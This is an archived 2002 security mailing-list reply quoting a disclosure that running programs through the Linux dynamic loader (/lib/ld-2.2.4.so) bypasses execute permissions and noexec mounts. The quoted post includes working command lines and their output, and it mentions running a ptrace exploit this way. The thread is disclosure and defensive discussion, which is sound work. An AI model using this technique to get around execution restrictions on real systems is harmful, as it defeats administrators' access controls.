

Re: /lib/ld-2.2.4.so

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/vuln-dev/2002-04/0220.html>

From: Marlon Jabbur (mjabbur@terra.com.br)

Date: 04/24/02

From: Marlon Jabbur <mjabbur@terra.com.br>
To: Tech Support <tech@chilitech.net>
Date: Wed, 24 Apr 2002 17:07:07 -0300

I've tried in a Debian Woody box using /lib/ld-2.2.5.so and it worked.

Marlon

Tech Support wrote:

>I tried this and it seemed to not work on my Linux system. I'm running both
>RedHat 7.1 and 6.0

>

>-----Original Message-----

>From: Sabau Daniel [<mailto:draven@UBBCluj.Ro>]

>Sent: Monday, April 22, 2002 2:44 AM

>To: vuln-dev@securityfocus.com

>Cc: focus-linux@securityfocus.com

>Subject: /lib/ld-2.2.4.so

>

>

>or:

>lrwxrwxrwx 1 root root 11 Apr 15 12:01 /lib/ld-linux.so.2

>-> ld-2.2.4.so

>

> This file gives users the ability of running binaries on witch the
>user doesn't have the permission to execute, it is enough to have read
>ability on the file in order to execute it:

>

>-rwxr-xr-- 1 root root 45948 Aug 9 2001 /bin/ls

>

>but using the /lib/ld-2.2.4.so file i can execute the ls command:

>

>[08:51:36][draven@Zero:~]:\$/lib/ld-2.2.4.so /bin/ls /

>bin bzImage bzImage3 bzImage5 dev home lib mnt proc sbin

>usr

>boot bzImage2 bzImage4 bzImage6 etc initrd misc opt root tmp

>var

>

>i do not have root preveleges on this account:

```
>
>[08:51:38][draven@Zero:~]:$id
>uid=1000(draven) gid=10(wheel) groups=10(wheel),16(trust)
>
>The most interesting part is running binaries on partitions mounted with
>noexec, lets take this partition:
>
>/dev/sda9 on /home/friends type ext2
>(rw,noexec,nosuid,nodev,usrquota,grpquota)
>
>i've created a shell account with the home directory:
>
>[mjj@Zero mjj]$ pwd
>/home/friends/mjj
>
>and wrote this C code in a file test.c
>
>#include <stdio.h>
>void main(void)
>{
> printf ("Test");
>}
>
>i've compiled it & tryed to run:
>
>[mjj@Zero mjj]$ ./a.out
>bash: ./a.out: Permission denied
>
>but when i try to run it with /lib/ld-2.2.4.so:
>
>[mjj@Zero mjj]$ /lib/ld-2.2.4.so ./a.out
>Test
>
>the important thing is to include a full path in the binary name to be
>able to execute it.
>in the same way i've managed to run the ptrace exploit on a nosuid
>partition
>i'm running a 2.4.18 kernel with grsecurity-1.9.4 patch on a Red Hat
>Linux 7.2 box, but i've succeded running this file on different linux
>boxes and i've been succesfull, please if anyone know how to eliminate
>this hole in my security give me a replay. If i try to change the mode on
>/lib/ls-2.2.4.so to 700, the users will not be able to login on my linux
>box, so this is not a solution:)
>
>10x,
>Dan Sabau
>
>
>--
>
>
```

>"From all the things I lost,
>My mind, I miss the most!"
>
>echo '16i[q]sa[ln0=aln100%Pln100/snlbx]sb20293A2058554E494Csnlboxq'/dc
>
>
>
>
>
>
>

- **Previous message:** Len Sassaman: "Re: Keyserver's Cross Site Scripting (When CSS Gets Dangerous)"
- **In reply to:** Tech Support: "RE: /lib/ld-2.2.4.so"
- **Next in thread:** Eric Rostetter: "Re: /lib/ld-2.2.4.so"
- **Messages sorted by:** [date] [thread] [subject] [author] [attachment]